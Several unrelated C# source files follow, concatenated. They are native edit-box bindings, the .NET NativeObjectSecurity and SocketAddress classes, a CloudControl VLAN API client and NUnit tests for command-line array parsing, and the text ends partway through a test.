get { return ExportEditBox_GetTextCursor(Native); }
set { ExportEditBox_SetTextCursor(Native, value); }
}
#endregion
#region Property IsTextSelection
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_IsTextSelection(IntPtr _native);
public bool IsTextSelection
{
get { return ExportEditBox_IsTextSelection(Native); }
}
#endregion
#region Property TextSelection
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr ExportEditBox_GetTextSelection(IntPtr _native);
public string TextSelection
{
get { return Marshal.PtrToStringUni(ExportEditBox_GetTextSelection(Native)); }
}
#endregion
#region Property TextSelectionLength
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetTextSelectionLength(IntPtr _native);
public uint TextSelectionLength
{
get { return ExportEditBox_GetTextSelectionLength(Native); }
}
#endregion
#region Property TextSelectionEnd
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetTextSelectionEnd(IntPtr _native);
public uint TextSelectionEnd
{
get { return ExportEditBox_GetTextSelectionEnd(Native); }
}
#endregion
#region Property TextSelectionStart
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetTextSelectionStart(IntPtr _native);
public uint TextSelectionStart
{
get { return ExportEditBox_GetTextSelectionStart(Native); }
}
#endregion
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/*============================================================
**
** Classes: NativeObjectSecurity class
**
**
===========================================================*/
using Microsoft.Win32;
using System;
using System.Collections;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.Globalization;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Principal;
using FileNotFoundException = System.IO.FileNotFoundException;
namespace System.Security.AccessControl
{
public abstract class NativeObjectSecurity : CommonObjectSecurity
{
#region Private Members
private readonly ResourceType _resourceType;
private ExceptionFromErrorCode _exceptionFromErrorCode = null;
private object _exceptionContext = null;
private readonly uint ProtectedDiscretionaryAcl = 0x80000000;
private readonly uint ProtectedSystemAcl = 0x40000000;
private readonly uint UnprotectedDiscretionaryAcl = 0x20000000;
private readonly uint UnprotectedSystemAcl = 0x10000000;
#endregion
#region Delegates
internal protected delegate System.Exception ExceptionFromErrorCode(int errorCode, string name, SafeHandle handle, object context);
#endregion
#region Constructors
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType)
: base(isContainer)
{
_resourceType = resourceType;
}
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType, ExceptionFromErrorCode exceptionFromErrorCode, object exceptionContext)
: this(isContainer, resourceType)
{
_exceptionContext = exceptionContext;
_exceptionFromErrorCode = exceptionFromErrorCode;
}
internal NativeObjectSecurity(ResourceType resourceType, CommonSecurityDescriptor securityDescriptor)
: this(resourceType, securityDescriptor, null)
{
}
internal NativeObjectSecurity(ResourceType resourceType, CommonSecurityDescriptor securityDescriptor, ExceptionFromErrorCode exceptionFromErrorCode)
: base(securityDescriptor)
{
_resourceType = resourceType;
_exceptionFromErrorCode = exceptionFromErrorCode;
}
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType, string name, AccessControlSections includeSections, ExceptionFromErrorCode exceptionFromErrorCode, object exceptionContext)
: this(resourceType, CreateInternal(resourceType, isContainer, name, null, includeSections, true, exceptionFromErrorCode, exceptionContext), exceptionFromErrorCode)
{
}
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType, string name, AccessControlSections includeSections)
: this(isContainer, resourceType, name, includeSections, null, null)
{
}
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType, SafeHandle handle, AccessControlSections includeSections, ExceptionFromErrorCode exceptionFromErrorCode, object exceptionContext)
: this(resourceType, CreateInternal(resourceType, isContainer, null, handle, includeSections, false, exceptionFromErrorCode, exceptionContext), exceptionFromErrorCode)
{
}
protected NativeObjectSecurity(bool isContainer, ResourceType resourceType, SafeHandle handle, AccessControlSections includeSections)
: this(isContainer, resourceType, handle, includeSections, null, null)
{
}
#endregion
#region Private Methods
private static CommonSecurityDescriptor CreateInternal(ResourceType resourceType, bool isContainer, string name, SafeHandle handle, AccessControlSections includeSections, bool createByName, ExceptionFromErrorCode exceptionFromErrorCode, object exceptionContext)
{
int error;
RawSecurityDescriptor rawSD;
if (createByName && name == null)
{
throw new ArgumentNullException(nameof(name));
}
else if (!createByName && handle == null)
{
throw new ArgumentNullException(nameof(handle));
}
error = Win32.GetSecurityInfo(resourceType, name, handle, includeSections, out rawSD);
if (error != Interop.mincore.Errors.ERROR_SUCCESS)
{
System.Exception exception = null;
if (exceptionFromErrorCode != null)
{
exception = exceptionFromErrorCode(error, name, handle, exceptionContext);
}
if (exception == null)
{
if (error == Interop.mincore.Errors.ERROR_ACCESS_DENIED)
{
exception = new UnauthorizedAccessException();
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_OWNER)
{
exception = new InvalidOperationException(SR.AccessControl_InvalidOwner);
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_PRIMARY_GROUP)
{
exception = new InvalidOperationException(SR.AccessControl_InvalidGroup);
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_PARAMETER)
{
exception = new InvalidOperationException(SR.Format(SR.AccessControl_UnexpectedError, error));
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_NAME)
{
exception = new ArgumentException(
SR.Argument_InvalidName,
nameof(name));
}
else if (error == Interop.mincore.Errors.ERROR_FILE_NOT_FOUND)
{
exception = (name == null ? new FileNotFoundException() : new FileNotFoundException(name));
}
else if (error == Interop.mincore.Errors.ERROR_NO_SECURITY_ON_OBJECT)
{
exception = new NotSupportedException(SR.AccessControl_NoAssociatedSecurity);
}
else
{
Debug.Assert(false, string.Format(CultureInfo.InvariantCulture, "Win32GetSecurityInfo() failed with unexpected error code {0}", error));
exception = new InvalidOperationException(SR.Format(SR.AccessControl_UnexpectedError, error));
}
}
throw exception;
}
return new CommonSecurityDescriptor(isContainer, false /* isDS */, rawSD, true);
}
//
// Attempts to persist the security descriptor onto the object
//
private void Persist(string name, SafeHandle handle, AccessControlSections includeSections, object exceptionContext)
{
WriteLock();
try
{
int error;
SecurityInfos securityInfo = 0;
SecurityIdentifier owner = null, group = null;
SystemAcl sacl = null;
DiscretionaryAcl dacl = null;
if ((includeSections & AccessControlSections.Owner) != 0 && _securityDescriptor.Owner != null)
{
securityInfo |= SecurityInfos.Owner;
owner = _securityDescriptor.Owner;
}
if ((includeSections & AccessControlSections.Group) != 0 && _securityDescriptor.Group != null)
{
securityInfo |= SecurityInfos.Group;
group = _securityDescriptor.Group;
}
if ((includeSections & AccessControlSections.Audit) != 0)
{
securityInfo |= SecurityInfos.SystemAcl;
if (_securityDescriptor.IsSystemAclPresent &&
_securityDescriptor.SystemAcl != null &&
_securityDescriptor.SystemAcl.Count > 0)
{
sacl = _securityDescriptor.SystemAcl;
}
else
{
sacl = null;
}
if ((_securityDescriptor.ControlFlags & ControlFlags.SystemAclProtected) != 0)
{
securityInfo = (SecurityInfos)((uint)securityInfo | ProtectedSystemAcl);
}
else
{
securityInfo = (SecurityInfos)((uint)securityInfo | UnprotectedSystemAcl);
}
}
if ((includeSections & AccessControlSections.Access) != 0 && _securityDescriptor.IsDiscretionaryAclPresent)
{
securityInfo |= SecurityInfos.DiscretionaryAcl;
// if the DACL is in fact a crafted replaced for NULL replacement, then we will persist it as NULL
if (_securityDescriptor.DiscretionaryAcl.EveryOneFullAccessForNullDacl)
{
dacl = null;
}
else
{
dacl = _securityDescriptor.DiscretionaryAcl;
}
if ((_securityDescriptor.ControlFlags & ControlFlags.DiscretionaryAclProtected) != 0)
{
securityInfo = (SecurityInfos)((uint)securityInfo | ProtectedDiscretionaryAcl);
}
else
{
securityInfo = (SecurityInfos)((uint)securityInfo | UnprotectedDiscretionaryAcl);
}
}
if (securityInfo == 0)
{
//
// Nothing to persist
//
return;
}
error = Win32.SetSecurityInfo(_resourceType, name, handle, securityInfo, owner, group, sacl, dacl);
if (error != Interop.mincore.Errors.ERROR_SUCCESS)
{
System.Exception exception = null;
if (_exceptionFromErrorCode != null)
{
exception = _exceptionFromErrorCode(error, name, handle, exceptionContext);
}
if (exception == null)
{
if (error == Interop.mincore.Errors.ERROR_ACCESS_DENIED)
{
exception = new UnauthorizedAccessException();
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_OWNER)
{
exception = new InvalidOperationException(SR.AccessControl_InvalidOwner);
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_PRIMARY_GROUP)
{
exception = new InvalidOperationException(SR.AccessControl_InvalidGroup);
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_NAME)
{
exception = new ArgumentException(
SR.Argument_InvalidName,
nameof(name));
}
else if (error == Interop.mincore.Errors.ERROR_INVALID_HANDLE)
{
exception = new NotSupportedException(SR.AccessControl_InvalidHandle);
}
else if (error == Interop.mincore.Errors.ERROR_FILE_NOT_FOUND)
{
exception = new FileNotFoundException();
}
else if (error == Interop.mincore.Errors.ERROR_NO_SECURITY_ON_OBJECT)
{
exception = new NotSupportedException(SR.AccessControl_NoAssociatedSecurity);
}
else
{
Debug.Assert(false, string.Format(CultureInfo.InvariantCulture, "Unexpected error code {0}", error));
exception = new InvalidOperationException(SR.Format(SR.AccessControl_UnexpectedError, error));
}
}
throw exception;
}
//
// Everything goes well, let us clean the modified flags.
// We are in proper write lock, so just go ahead
//
this.OwnerModified = false;
this.GroupModified = false;
this.AccessRulesModified = false;
this.AuditRulesModified = false;
}
finally
{
WriteUnlock();
}
}
#endregion
#region Protected Methods
//
// Persists the changes made to the object
// by calling the underlying Windows API
//
// This overloaded method takes a name of an existing object
//
protected sealed override void Persist(string name, AccessControlSections includeSections)
{
Persist(name, includeSections, _exceptionContext);
}
protected void Persist(string name, AccessControlSections includeSections, object exceptionContext)
{
if (name == null)
{
throw new ArgumentNullException(nameof(name));
}
Contract.EndContractBlock();
Persist(name, null, includeSections, exceptionContext);
}
//
// Persists the changes made to the object
// by calling the underlying Windows API
//
// This overloaded method takes a handle to an existing object
//
protected sealed override void Persist(SafeHandle handle, AccessControlSections includeSections)
{
Persist(handle, includeSections, _exceptionContext);
}
protected void Persist(SafeHandle handle, AccessControlSections includeSections, object exceptionContext)
{
if (handle == null)
{
throw new ArgumentNullException(nameof(handle));
}
Contract.EndContractBlock();
Persist(null, handle, includeSections, exceptionContext);
}
#endregion
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System.Diagnostics;
using System.Globalization;
using System.Net.Sockets;
using System.Text;
#if SYSTEM_NET_PRIMITIVES_DLL
namespace System.Net
#else
namespace System.Net.Internals
#endif
{
// This class is used when subclassing EndPoint, and provides indication
// on how to format the memory buffers that the platform uses for network addresses.
#if SYSTEM_NET_PRIMITIVES_DLL
public
#else
internal
#endif
class SocketAddress
{
internal readonly static int IPv6AddressSize = SocketAddressPal.IPv6AddressSize;
internal readonly static int IPv4AddressSize = SocketAddressPal.IPv4AddressSize;
internal int InternalSize;
internal byte[] Buffer;
private const int MinSize = 2;
private const int MaxSize = 32; // IrDA requires 32 bytes
private bool _changed = true;
private int _hash;
public AddressFamily Family
{
get
{
return SocketAddressPal.GetAddressFamily(Buffer);
}
}
public int Size
{
get
{
return InternalSize;
}
}
// Access to unmanaged serialized data. This doesn't
// allow access to the first 2 bytes of unmanaged memory
// that are supposed to contain the address family which
// is readonly.
public byte this[int offset]
{
get
{
if (offset < 0 || offset >= Size)
{
throw new IndexOutOfRangeException();
}
return Buffer[offset];
}
set
{
if (offset < 0 || offset >= Size)
{
throw new IndexOutOfRangeException();
}
if (Buffer[offset] != value)
{
_changed = true;
}
Buffer[offset] = value;
}
}
public SocketAddress(AddressFamily family) : this(family, MaxSize)
{
}
public SocketAddress(AddressFamily family, int size)
{
if (size < MinSize)
{
throw new ArgumentOutOfRangeException("size");
}
InternalSize = size;
Buffer = new byte[(size / IntPtr.Size + 2) * IntPtr.Size];
SocketAddressPal.SetAddressFamily(Buffer, family);
}
internal SocketAddress(IPAddress ipAddress)
: this(ipAddress.AddressFamily,
((ipAddress.AddressFamily == AddressFamily.InterNetwork) ? IPv4AddressSize : IPv6AddressSize))
{
// No Port.
SocketAddressPal.SetPort(Buffer, 0);
if (ipAddress.AddressFamily == AddressFamily.InterNetworkV6)
{
SocketAddressPal.SetIPv6Address(Buffer, ipAddress.GetAddressBytes(), (uint)ipAddress.ScopeId);
}
else
{
#if SYSTEM_NET_PRIMITIVES_DLL
uint address = unchecked((uint)ipAddress.Address);
#else
byte[] ipAddressBytes = ipAddress.GetAddressBytes();
Debug.Assert(ipAddressBytes.Length == 4);
uint address = ipAddressBytes.NetworkBytesToNetworkUInt32(0);
#endif
Debug.Assert(ipAddress.AddressFamily == AddressFamily.InterNetwork);
SocketAddressPal.SetIPv4Address(Buffer, address);
}
}
internal SocketAddress(IPAddress ipaddress, int port)
: this(ipaddress)
{
SocketAddressPal.SetPort(Buffer, unchecked((ushort)port));
}
internal IPAddress GetIPAddress()
{
if (Family == AddressFamily.InterNetworkV6)
{
Debug.Assert(Size >= IPv6AddressSize);
byte[] address = new byte[IPAddressParserStatics.IPv6AddressBytes];
uint scope;
SocketAddressPal.GetIPv6Address(Buffer, address, out scope);
return new IPAddress(address, (long)scope);
}
else if (Family == AddressFamily.InterNetwork)
{
Debug.Assert(Size >= IPv4AddressSize);
long address = (long)SocketAddressPal.GetIPv4Address(Buffer) & 0x0FFFFFFFF;
return new IPAddress(address);
}
else
{
#if SYSTEM_NET_PRIMITIVES_DLL
throw new SocketException(SocketError.AddressFamilyNotSupported);
#else
throw new SocketException((int)SocketError.AddressFamilyNotSupported);
#endif
}
}
internal IPEndPoint GetIPEndPoint()
{
IPAddress address = GetIPAddress();
int port = (int)SocketAddressPal.GetPort(Buffer);
return new IPEndPoint(address, port);
}
// For ReceiveFrom we need to pin address size, using reserved Buffer space.
internal void CopyAddressSizeIntoBuffer()
{
Buffer[Buffer.Length - IntPtr.Size] = unchecked((byte)(InternalSize));
Buffer[Buffer.Length - IntPtr.Size + 1] = unchecked((byte)(InternalSize >> 8));
Buffer[Buffer.Length - IntPtr.Size + 2] = unchecked((byte)(InternalSize >> 16));
Buffer[Buffer.Length - IntPtr.Size + 3] = unchecked((byte)(InternalSize >> 24));
}
// Can be called after the above method did work.
internal int GetAddressSizeOffset()
{
return Buffer.Length - IntPtr.Size;
}
public override bool Equals(object comparand)
{
SocketAddress castedComparand = comparand as SocketAddress;
if (castedComparand == null || this.Size != castedComparand.Size)
{
return false;
}
for (int i = 0; i < this.Size; i++)
{
if (this[i] != castedComparand[i])
{
return false;
}
}
return true;
}
public override int GetHashCode()
{
if (_changed)
{
_changed = false;
_hash = 0;
int i;
int size = Size & ~3;
for (i = 0; i < size; i += 4)
{
_hash ^= (int)Buffer[i]
| ((int)Buffer[i + 1] << 8)
| ((int)Buffer[i + 2] << 16)
| ((int)Buffer[i + 3] << 24);
}
if ((Size & 3) != 0)
{
int remnant = 0;
int shift = 0;
for (; i < Size; ++i)
{
remnant |= ((int)Buffer[i]) << shift;
shift += 8;
}
_hash ^= remnant;
}
}
return _hash;
}
public override string ToString()
{
StringBuilder bytes = new StringBuilder();
for (int i = SocketAddressPal.DataOffset; i < this.Size; i++)
{
if (i > SocketAddressPal.DataOffset)
{
bytes.Append(",");
}
bytes.Append(this[i].ToString(NumberFormatInfo.InvariantInfo));
}
return Family.ToString() + ":" + Size.ToString(NumberFormatInfo.InvariantInfo) + ":{" + bytes.ToString() + "}";
}
}
}
| |
using HTTPlease;
using System;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
namespace DD.CloudControl.Client
{
using Models;
using Models.Network;
/// <summary>
/// The CloudControl API client.
/// </summary>
public partial class CloudControlClient
{
/// <summary>
/// Create a new VLAN.
/// </summary>
/// <param name="name">
/// The name of the new VLAN.
/// </param>
/// <param name="description">
/// The description (if any) for the new VLAN.
/// </param>
/// <param name="networkDomainId">
/// The Id of the network domain in which the VLAN will be created.
/// </param>
/// <param name="privateIPv4BaseAddress">
/// The base address of the VLAN's private IPv4 network.
/// </param>
/// <param name="privateIPv4PrefixSize">
/// The optional size, in bits, of the VLAN's private IPv4 network prefix.
///
/// Default is 24 (i.e. a class C network).
/// </param>
/// <param name="gatewayAddressing">
/// The gateway addressing style to use for the new VLAN.
///
/// Default is <see cref="VlanGatewayAddressing.Low"/>.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// The Id of the new VLAN.
/// </returns>
public async Task<Guid> CreateVlan(string name, string description, Guid networkDomainId, string privateIPv4BaseAddress, int privateIPv4PrefixSize = 24, VlanGatewayAddressing gatewayAddressing = VlanGatewayAddressing.Low, CancellationToken cancellationToken = default(CancellationToken))
{
if (String.IsNullOrWhiteSpace(name))
throw new ArgumentException("Must supply a valid name.", nameof(name));
if (description == null)
description = "";
if (networkDomainId == Guid.Empty)
throw new ArgumentException("Must supply a valid network domain Id.", nameof(networkDomainId));
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.CreateVlan.WithTemplateParameter("organizationId", organizationId);
HttpResponseMessage response = await
_httpClient.PostAsJsonAsync(request,
new CreateVlan
{
Name = name,
Description = description,
NetworkDomainId = networkDomainId,
PrivateIPv4BaseAddress = privateIPv4BaseAddress,
PrivateIPv4PrefixSize = privateIPv4PrefixSize,
GatewayAddressing = gatewayAddressing
},
cancellationToken
);
using (response)
{
ApiResponseV2 apiResponse = await response.ReadContentAsApiResponseV2();
if (apiResponse.ResponseCode != ApiResponseCodeV2.InProgress)
throw CloudControlException.FromApiV2Response(apiResponse, response.StatusCode);
string vlanId = apiResponse.InfoMessages.GetByName("vlanId");
if (String.IsNullOrWhiteSpace(vlanId))
throw new CloudControlException("Received an unexpected response from the CloudControl API (missing 'vlanId' message).");
return new Guid(vlanId);
}
}
/// <summary>
/// Retrieve a specific VLAN by Id.
/// </summary>
/// <param name="vlanId">
/// The Id of the VLAN to retrieve.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// A <see cref="Vlan"/> representing the VLAN, or <c>null</c> if no VLAN was found with the specified Id.
/// </returns>
public async Task<Vlan> GetVlan(Guid vlanId, CancellationToken cancellationToken = default(CancellationToken))
{
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.GetVlanById
.WithTemplateParameters(new
{
organizationId,
vlanId
});
using (HttpResponseMessage response = await _httpClient.GetAsync(request, cancellationToken))
{
if (!response.IsSuccessStatusCode)
{
ApiResponseV2 apiResponse = await response.ReadContentAsApiResponseV2();
if (apiResponse.ResponseCode == ApiResponseCodeV2.ResourceNotFound)
return null;
throw CloudControlException.FromApiV2Response(apiResponse, response.StatusCode);
}
return await response.ReadContentAsAsync<Vlan>();
}
}
/// <summary>
/// Retrieve a list of VLANs.
/// </summary>
/// <param name="query">
/// A <see cref="VlanQuery"/> that determines which VLANs will be retrieved.
/// </param>
/// <param name="paging">
/// An optional <see cref="Paging"/> configuration for the results.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// A <see cref="Vlans"/> representing the page of results.
/// </returns>
public async Task<Vlans> ListVlans(VlanQuery query, Paging paging = null, CancellationToken cancellationToken = default(CancellationToken))
{
if (query == null)
throw new ArgumentNullException(nameof(query));
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.ListVlans
.WithTemplateParameters(new
{
organizationId,
vlanName = query.Name,
networkDomainId = query.NetworkDomainId
})
.WithPaging(paging);
using (HttpResponseMessage response = await _httpClient.GetAsync(request, cancellationToken))
{
if (!response.IsSuccessStatusCode)
throw await CloudControlException.FromApiV2Response(response);
return await response.ReadContentAsAsync<Vlans>();
}
}
/// <summary>
/// Update an existing VLAN.
/// </summary>
/// <param name="vlan">
/// The VLAN to update.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// The API response from CloudControl.
/// </returns>
public async Task<ApiResponseV2> EditVlan(Vlan vlan, CancellationToken cancellationToken = default(CancellationToken))
{
if (vlan == null)
throw new ArgumentNullException(nameof(vlan));
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.EditVlan.WithTemplateParameter("organizationId", organizationId);
HttpResponseMessage response = await
_httpClient.PostAsJsonAsync(request,
new EditVlan
{
Id = vlan.Id,
Name = vlan.Name,
Description = vlan.Description
},
cancellationToken
);
using (response)
{
return await response.ReadContentAsApiResponseV2();
}
}
/// <summary>
/// Expand an existing VLAN.
/// </summary>
/// <param name="vlanId">
/// The Id of the VLAN to expand.
/// </param>
/// <param name="privateIPv4PrefixSize">
/// The new prefix size for the VLAN's private IPv4 network.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// The API response from CloudControl.
/// </returns>
public async Task<ApiResponseV2> ExpandVlan(Guid vlanId, int privateIPv4PrefixSize, CancellationToken cancellationToken = default(CancellationToken))
{
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.ExpandVlan.WithTemplateParameter("organizationId", organizationId);
HttpResponseMessage response = await
_httpClient.PostAsJsonAsync(request,
new ExpandVlan
{
Id = vlanId,
PrivateIPv4PrefixSize = privateIPv4PrefixSize
},
cancellationToken
);
using (response)
{
return await response.ReadContentAsApiResponseV2();
}
}
/// <summary>
/// Delete an MCP 2.0 VLAN.
/// </summary>
/// <param name="id">
/// The Id of the VLAN to delete.
/// </param>
/// <param name="cancellationToken">
/// An optional cancellation token that can be used to cancel the request.
/// </param>
/// <returns>
/// The CloudControl API response.
/// </returns>
/// <remarks>
/// Deletion of VLANs is asynchronous.
/// </remarks>
public async Task<ApiResponseV2> DeleteVlan(Guid id, CancellationToken cancellationToken = default(CancellationToken))
{
Guid organizationId = await GetOrganizationId();
HttpRequest request = Requests.Network.DeleteVlan
.WithTemplateParameters(new
{
organizationId
});
HttpResponseMessage response = await
_httpClient.PostAsJsonAsync(request,
new DeleteResource { Id = id },
cancellationToken
);
using (response)
{
return await response.ReadContentAsApiResponseV2();
}
}
}
}
| |
#region License
//
// Command Line Library: OptionArrayAttributeParsingFixture.cs
//
// Author:
// Giacomo Stelluti Scala (gsscoder@ymail.com)
//
// Copyright (C) 2005 - 2010 Giacomo Stelluti Scala
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#endregion
#if UNIT_TESTS
#region Using Directives
using System;
using System.Collections.Generic;
using CommandLine.Tests.Mocks;
using NUnit.Framework;
#endregion
namespace MCEBuddy.CommandLine.Tests
{
[TestFixture]
public sealed class OptionArrayAttributeParsingFixture : CommandLineParserBaseFixture
{
[Test]
public void ParseStringArrayOptionUsingShortName()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-z", "alfa", "beta", "gamma" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "alfa", "beta", "gamma" }, options.StringArrayValue);
}
[Test]
public void ParseStringArrayOptionUsingLongName()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "--strarr", "alfa", "beta", "gamma" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "alfa", "beta", "gamma" }, options.StringArrayValue);
}
[Test]
public void ParseStringArrayOptionUsingShortNameWithValueAdjacent()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-zapple", "kiwi" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "apple", "kiwi" }, options.StringArrayValue);
}
[Test]
public void ParseStringArrayOptionUsingLongNameWithEqualSign()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "--strarr=apple", "kiwi" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "apple", "kiwi" }, options.StringArrayValue);
}
[Test]
public void ParseStringArrayOptionUsingShortNameAndStringOptionAfter()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-z", "one", "two", "three", "-s", "after" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "one", "two", "three" }, options.StringArrayValue);
Assert.AreEqual("after", options.StringValue);
}
[Test]
public void ParseStringArrayOptionUsingShortNameAndStringOptionBefore()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-s", "before", "-z", "one", "two", "three" }, options);
base.AssertParserSuccess(result);
Assert.AreEqual("before", options.StringValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three" }, options.StringArrayValue);
}
[Test]
public void ParseStringArrayOptionUsingShortNameWithOptionsBeforeAndAfter()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] {
"-i", "191919", "-z", "one", "two", "three", "--switch", "--string=near" }, options);
base.AssertParserSuccess(result);
Assert.AreEqual(191919, options.IntegerValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three" }, options.StringArrayValue);
Assert.IsTrue(options.BooleanValue);
Assert.AreEqual("near", options.StringValue);
}
[Test]
public void ParseStringArrayOptionUsingLongNameWithValueList()
{
var options = new SimpleOptionsWithArrayAndValueList();
bool result = base.Parser.ParseArguments(new string[] {
"-shere", "-i999", "--strarr=0", "1", "2", "3", "4", "5", "6", "7", "8", "9" , "--switch", "f1.xml", "f2.xml"}, options);
base.AssertParserSuccess(result);
Assert.AreEqual("here", options.StringValue);
Assert.AreEqual(999, options.IntegerValue);
base.AssertArrayItemEqual(new string[] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }, options.StringArrayValue);
Assert.IsTrue(options.BooleanValue);
base.AssertArrayItemEqual(new string[] { "f1.xml", "f2.xml" }, options.Items);
}
[Test]
public void PassingNoValueToAStringArrayOptionFails()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-z" }, options);
base.AssertParserFailure(result);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] { "--strarr" }, options);
base.AssertParserFailure(result);
}
/****************************************************************************************************/
[Test]
public void ParseIntegerArrayOptionUsingShortName()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-y", "1", "2", "3" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new int[] { 1, 2, 3 }, options.IntegerArrayValue);
}
[Test]
public void PassingBadValueToAnIntegerArrayOptionFails()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-y", "one", "2", "3" }, options);
base.AssertParserFailure(result);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] { "-yone", "2", "3" }, options);
base.AssertParserFailure(result);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] { "--intarr", "1", "two", "3" }, options);
base.AssertParserFailure(result);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] { "--intarr=1", "2", "three" }, options);
base.AssertParserFailure(result);
}
[Test]
public void PassingNoValueToAnIntegerArrayOptionFails()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-y" }, options);
base.AssertParserFailure(result);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] { "--intarr" }, options);
base.AssertParserFailure(result);
}
/****************************************************************************************************/
[Test]
public void ParseDoubleArrayOptionUsingShortName()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] { "-q", "0.1", "2.3", "0.9" }, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new double[] { .1, 2.3, .9 }, options.DoubleArrayValue);
}
/****************************************************************************************************/
[Test]
public void ParseDifferentArraysTogether_CombinationOne()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] {
"-z", "one", "two", "three", "four",
"-y", "1", "2", "3", "4",
"-q", "0.1", "0.2", "0.3", "0.4"
}, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] {
"-y", "1", "2", "3", "4",
"-z", "one", "two", "three", "four",
"-q", "0.1", "0.2", "0.3", "0.4"
}, options);
base.AssertParserSuccess(result);
